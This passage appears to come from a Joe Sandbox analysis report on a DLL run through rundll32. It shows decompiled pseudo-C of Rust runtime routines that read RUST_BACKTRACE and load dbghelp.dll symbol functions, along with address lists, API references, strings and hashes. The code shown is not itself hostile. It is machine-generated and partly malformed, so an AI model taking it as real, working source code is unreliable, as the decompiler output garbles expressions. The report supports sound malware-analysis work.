					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6EA19A30( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6ea3face;
							if(_t264 != 0x6ea3face) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6ea3face;
									if(_t229 == 0x6ea3face) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6ea3face;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6ea3face;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6ea3face;
											if(_t264 == 0x6ea3face) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6ea3face;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6ea3face;
												if(_t273 == 0x6ea3face) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6ea3face;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6EA19A30( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6EA0E9D0(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6ea3f8cc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6EA19A30( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6EA00D10(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6ea4e128, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6ea4e128, 0, _t167);
													}
													HeapFree( *0x6ea4e128, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6ea4e128, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6ea406d8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6ea4e128, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6ea4e128, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6ea4e128, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6EA192F0(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6EA19470(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6ea406e0);
						asm("ud2");
						__eflags =  &_a8;
						E6E9F48D0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6E9FD270(_t263);
					} else {
						 *0x6ea4e128 = _t142;
						goto L3;
					}
				}
				L96:
			}

0x6e9fd380
0x6e9fd380
0x6e9fd380
0x6e9fd383
0x6e9fd384
0x6e9fd385
0x6e9fd386
0x6e9fd38c
0x6e9fd38f
0x6e9fd396
0x6e9fd39d
0x6e9fd3aa
0x6e9fd3ad
0x6e9fd3b3
0x6e9fd3ba
0x6e9fd3ce
0x6e9fd3d3
0x6e9fd3da
0x00000000
0x6e9fd3e0
0x6e9fd3e0
0x6e9fd3e6
0x6e9fd3eb
0x6e9fd3ed
0x6e9fd3f2
0x6e9fd3f8
0x6e9fd402
0x6e9fd40c
0x6e9fd43d
0x6e9fd440
0x6e9fd443
0x00000000
0x00000000
0x6e9fd445
0x6e9fd44c
0x6e9fd454
0x6e9fd42f
0x6e9fd42f
0x6e9fd432
0x6e9fd436
0x6e9fd437
0x00000000
0x6e9fd456
0x6e9fd48a
0x6e9fd494
0x6e9fd497
0x6e9fd49e
0x6e9fd4a9
0x6e9fd4b2
0x6e9fd4ba
0x6e9fd4bd
0x6e9fd4c1
0x6e9fd4c6
0x6e9fd420
0x6e9fd426
0x6e9fd429
0x6e9fd42c
0x00000000
0x6e9fd42c
0x6e9fd460
0x6e9fd466
0x6e9fd468
0x6e9fd46e
0x6e9fd471
0x6e9fd474
0x6e9fd477
0x6e9fd479
0x6e9fd4d1
0x6e9fd4da
0x6e9fd4dc
0x6e9fd503
0x6e9fd50b
0x6e9fd50e
0x6e9fd513
0x6e9fd516
0x00000000
0x6e9fd518
0x6e9fd518
0x6e9fd51c
0x6e9fd522
0x6e9fd524
0x6e9fd52a
0x00000000
0x6e9fd530
0x00000000
0x6e9fd530
0x6e9fd52a
0x6e9fd4de
0x6e9fd4de
0x6e9fd4e2
0x6e9fd4e5
0x6e9fd4e8
0x6e9fd4eb
0x6e9fd53b
0x6e9fd53d
0x6e9fd543
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fd4ed
0x6e9fd4f3
0x6e9fd4f5
0x6e9fd565
0x6e9fd565
0x6e9fd567
0x6e9fd4f7
0x6e9fd4fb
0x6e9fd4fe
0x6e9fd4fe
0x6e9fd56a
0x6e9fd56d
0x6e9fd56f
0x6e9fd572
0x6e9fd595
0x6e9fd597
0x6e9fd59a
0x6e9fd5a0
0x00000000
0x6e9fd5a2
0x00000000
0x6e9fd5a2
0x6e9fd574
0x6e9fd574
0x6e9fd57d
0x6e9fd57f
0x6e9fd5aa
0x6e9fd5aa
0x6e9fd5ac
0x6e9fd581
0x6e9fd587
0x6e9fd58a
0x6e9fd58a
0x6e9fd5bf
0x6e9fd5c1
0x6e9fd5c4
0x6e9fd5ca
0x6e9fd549
0x6e9fd549
0x6e9fd54c
0x6e9fd54e
0x6e9fd554
0x00000000
0x6e9fd55a
0x00000000
0x6e9fd55a
0x6e9fd5d0
0x6e9fd5d0
0x6e9fd5d0
0x6e9fd5d6
0x6e9fd5f0
0x6e9fd5f3
0x6e9fd5f6
0x6e9fd5f8
0x6e9fd5fb
0x6e9fd601
0x00000000
0x6e9fd607
0x00000000
0x6e9fd607
0x6e9fd601
0x6e9fd5ca
0x6e9fd572
0x6e9fd4eb
0x6e9fd47b
0x6e9fd47b
0x6e9fd47d
0x6e9fd480
0x6e9fd482
0x6e9fd488
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fd488
0x00000000
0x6e9fd479
0x6e9fd60c
0x6e9fd612
0x6e9fd61a
0x6e9fd61d
0x6e9fd622
0x6e9fd625
0x6e9fd627
0x6e9fd62a
0x6e9fd62c
0x6e9fd674
0x6e9fd674
0x6e9fd676
0x6e9fd680
0x6e9fd680
0x6e9fd682
0x00000000
0x00000000
0x6e9fd688
0x6e9fd68b
0x6e9fd68f
0x6e9fd692
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fd692
0x6e9fd720
0x6e9fd723
0x6e9fd725
0x6e9fd731
0x6e9fd736
0x6e9fd739
0x6e9fd73c
0x6e9fd73c
0x6e9fd73f
0x6e9fd745
0x6e9fd74a
0x6e9fd74f
0x6e9fd752
0x6e9fd754
0x6e9fd757
0x00000000
0x6e9fd75d
0x6e9fd760
0x6e9fd771
0x6e9fd776
0x6e9fd779
0x6e9fd77e
0x6e9fd783
0x6e9fd785
0x6e9fd788
0x6e9fd78f
0x6e9fd792
0x6e9fd799
0x6e9fd79f
0x6e9fd7c2
0x6e9fd7c7
0x6e9fd7cb
0x6e9fd7cd
0x6e9fd7cf
0x6e9fd7d2
0x6e9fd7df
0x6e9fd7e4
0x6e9fd7ea
0x6e9fd7ed
0x6e9fd7ed
0x6e9fd7f0
0x6e9fd7f3
0x6e9fd7f5
0x6e9fd7f8
0x6e9fd7a1
0x6e9fd800
0x6e9fd800
0x6e9fd806
0x6e9fd806
0x6e9fd80d
0x6e9fd80d
0x6e9fd812
0x6e9fd81d
0x6e9fd823
0x6e9fd825
0x6e9fd827
0x6e9fd833
0x6e9fd833
0x6e9fd835
0x6e9fd7b0
0x6e9fd7b0
0x6e9fd7b2
0x6e9fd7b4
0x6e9fd876
0x6e9fd879
0x6e9fd880
0x6e9fd882
0x00000000
0x6e9fd888
0x6e9fd88e
0x6e9fd88f
0x6e9fd894
0x6e9fd897
0x6e9fd89a
0x6e9fd89d
0x6e9fd8a0
0x6e9fd8a2
0x6e9fd8a5
0x6e9fd8a7
0x00000000
0x00000000
0x6e9fd8a9
0x00000000
0x6e9fd8a7
0x6e9fd7ba
0x6e9fd7ba
0x6e9fd7c0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fd7c0
0x6e9fd83b
0x6e9fd83b
0x6e9fd841
0x6e9fd844
0x00000000
0x6e9fd84a
0x6e9fd84a
0x6e9fd84c
0x6e9fd852
0x00000000
0x6e9fd854
0x00000000
0x6e9fd854
0x00000000
0x6e9fd852
0x6e9fd844
0x6e9fd829
0x6e9fd829
0x6e9fd82f
0x6e9fd831
0x6e9fd8ab
0x6e9fd8ad
0x6e9fd8b3
0x6e9fd8b5
0x6e9fd8b7
0x6e9fd8ba
0x6e9fd8bc
0x6e9fd8be
0x6e9fd8be
0x6e9fd8c2
0x6e9fd8c4
0x6e9fd8c9
0x6e9fd8d6
0x6e9fd8d9
0x6e9fd8de
0x6e9fd8de
0x6e9fd8c9
0x6e9fd8c2
0x6e9fd8e1
0x6e9fd8e1
0x6e9fd8e3
0x6e9fd93d
0x6e9fd940
0x6e9fd942
0x6e9fd945
0x6e9fd8e5
0x6e9fd8e8
0x6e9fd8eb
0x6e9fd8f1
0x6e9fd8f8
0x6e9fd900
0x6e9fd903
0x6e9fd905
0x6e9fd908
0x6e9fd90b
0x6e9fd90e
0x6e9fd912
0x6e9fd914
0x6e9fd916
0x6e9fd91a
0x6e9fd91c
0x6e9fd91c
0x6e9fd928
0x6e9fd928
0x6e9fd936
0x6e9fd936
0x6e9fd8f1
0x6e9fd948
0x6e9fd94f
0x6e9fd960
0x6e9fd960
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fd831
0x6e9fd827
0x6e9fd62e
0x6e9fd62e
0x6e9fd630
0x6e9fd632
0x6e9fd632
0x6e9fd636
0x00000000
0x00000000
0x6e9fd638
0x6e9fd63d
0x00000000
0x6e9fd63f
0x6e9fd63f
0x6e9fd644
0x00000000
0x6e9fd646
0x6e9fd646
0x6e9fd64b
0x00000000
0x6e9fd64d
0x6e9fd64d
0x6e9fd652
0x00000000
0x6e9fd654
0x6e9fd654
0x6e9fd659
0x00000000
0x6e9fd65b
0x6e9fd65b
0x6e9fd660
0x00000000
0x6e9fd662
0x6e9fd662
0x6e9fd667
0x00000000
0x6e9fd669
0x6e9fd669
0x6e9fd66c
0x6e9fd66f
0x6e9fd672
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fd672
0x6e9fd667
0x6e9fd660
0x6e9fd659
0x6e9fd652
0x6e9fd64b
0x6e9fd644
0x00000000
0x6e9fd63d
0x6e9fd694
0x6e9fd694
0x6e9fd697
0x6e9fd69e
0x6e9fd6a5
0x6e9fd6a7
0x6e9fd6a9
0x6e9fd6ab
0x6e9fd6ad
0x6e9fd6b3
0x6e9fd6be
0x6e9fd6be
0x6e9fd6b3
0x6e9fd6ab
0x6e9fd6c3
0x6e9fd6c7
0x6e9fd6cd
0x6e9fd6d2
0x6e9fd6d5
0x6e9fd6d8
0x6e9fd6e0
0x6e9fd6e2
0x6e9fd6e5
0x6e9fd6e8
0x6e9fd6eb
0x6e9fd6ef
0x6e9fd6f1
0x6e9fd6f3
0x6e9fd6f7
0x6e9fd6f9
0x6e9fd6f9
0x6e9fd705
0x6e9fd70a
0x6e9fd70a
0x6e9fd716
0x6e9fd716
0x6e9fd859
0x6e9fd85c
0x6e9fd862
0x6e9fd862
0x6e9fd865
0x6e9fd875
0x6e9fd875
0x00000000
0x6e9fd62c
0x6e9fd43d
0x6e9fd3bc
0x6e9fd3bc
0x6e9fd3c3
0x6e9fd96a
0x6e9fd96f
0x6e9fd974
0x6e9fd979
0x6e9fd97b
0x6e9fd982
0x6e9fd98a
0x6e9fd994
0x6e9fd99f
0x6e9fd9af
0x6e9fd3c9
0x6e9fd3c9
0x00000000
0x6e9fd3c9
0x6e9fd3c3
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6E9FD3BC
HeapAlloc.KERNEL32(02F30000,00000000,0000000A), ref: 6E9FD3D3

Strings

RUST_BACKTRACE, xrefs: 6E9FD48A, 6E9FD4C0

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 53522a9ab42996b47c651ef2de4211085442907963486c6d99a086a0318232b0
Instruction ID: fd0cd265ec6d557f9bf3ca8590847dc2312b8d21dbc50555c1bd5bca72fbf0a3
Opcode Fuzzy Hash: 53522a9ab42996b47c651ef2de4211085442907963486c6d99a086a0318232b0
Instruction Fuzzy Hash: 430298B1E00219CBEF10CF98C8947EDBBB5AF49314F248169E419BB380D775A986CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FE4E0, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6E9FE4E0(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6EA039F0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6ea4e124; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6ea4e124], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6ea4e130; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6ea4e164 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6ea4e134; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6ea4e138; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6ea4e13c; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6ea4e164 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6ea4e130, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6EA194E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6ea404bc);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6ea4e13c = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6ea4e130, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6EA194E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6ea404ac);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6ea4e138 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6EA194E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6ea4049c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6E9FE6D0(_v36);
								} else {
									_t38 = _t30;
									 *0x6ea4e134 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6ea4e130 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

0x6e9fe4e0
0x6e9fe4e4
0x6e9fe4e9
0x6e9fe4ec
0x6e9fe4f3
0x6e9fe504
0x6e9fe507
0x6e9fe50d
0x6e9fe515
0x6e9fe5f5
0x6e9fe5fa
0x6e9fe5fc
0x6e9fe620
0x00000000
0x6e9fe5fe
0x6e9fe5fe
0x6e9fe600
0x6e9fe602
0x6e9fe60a
0x6e9fe613
0x6e9fe619
0x6e9fe619
0x00000000
0x6e9fe60a
0x6e9fe51b
0x6e9fe51b
0x6e9fe520
0x6e9fe525
0x6e9fe52c
0x6e9fe545
0x6e9fe545
0x6e9fe54e
0x00000000
0x6e9fe554
0x6e9fe554
0x6e9fe55c
0x6e9fe579
0x6e9fe579
0x6e9fe57b
0x6e9fe581
0x6e9fe585
0x6e9fe5a7
0x6e9fe5ab
0x6e9fe5ad
0x6e9fe5b5
0x6e9fe5d7
0x6e9fe5d7
0x6e9fe5e1
0x6e9fe5e3
0x00000000
0x6e9fe5b7
0x6e9fe5c2
0x6e9fe5ca
0x6e9fe68d
0x6e9fe690
0x6e9fe6a6
0x00000000
0x6e9fe5d0
0x6e9fe5d0
0x6e9fe5d2
0x00000000
0x6e9fe5d2
0x6e9fe5ca
0x6e9fe587
0x6e9fe592
0x6e9fe59a
0x6e9fe66a
0x6e9fe66d
0x6e9fe683
0x00000000
0x6e9fe5a0
0x6e9fe5a0
0x6e9fe5a2
0x00000000
0x6e9fe5a2
0x6e9fe59a
0x6e9fe55e
0x6e9fe564
0x6e9fe56c
0x6e9fe647
0x6e9fe64a
0x6e9fe660
0x6e9fe6ae
0x6e9fe6ae
0x6e9fe6b4
0x6e9fe6c3
0x6e9fe572
0x6e9fe572
0x6e9fe574
0x00000000
0x6e9fe574
0x6e9fe56c
0x6e9fe55c
0x6e9fe52e
0x6e9fe533
0x6e9fe53a
0x6e9fe53f
0x6e9fe628
0x6e9fe62d
0x6e9fe632
0x6e9fe637
0x6e9fe646
0x00000000
0x00000000
0x00000000
0x6e9fe53f
0x6e9fe52c

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E9FE520
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E9FE533
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6E9FE564
GetProcAddress.KERNEL32(SymSetOptions), ref: 6E9FE592
GetProcAddress.KERNEL32(SymInitializeW), ref: 6E9FE5C2
GetCurrentProcess.KERNEL32 ref: 6E9FE5D7
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6E9FE5F5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6E9FE613

Part of subcall function 6E9FE6D0: ReleaseMutex.KERNEL32(?,6E9FE448), ref: 6E9FE6D1

Strings

SymInitializeW, xrefs: 6E9FE5B7
SymSetOptions, xrefs: 6E9FE587
dbghelp.dll, xrefs: 6E9FE52E
called `Option::unwrap()` on a `None` value, xrefs: 6E9FE651, 6E9FE674, 6E9FE697
Local\RustBacktraceMutex, xrefs: 6E9FE5EC
SymGetOptions, xrefs: 6E9FE55E

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
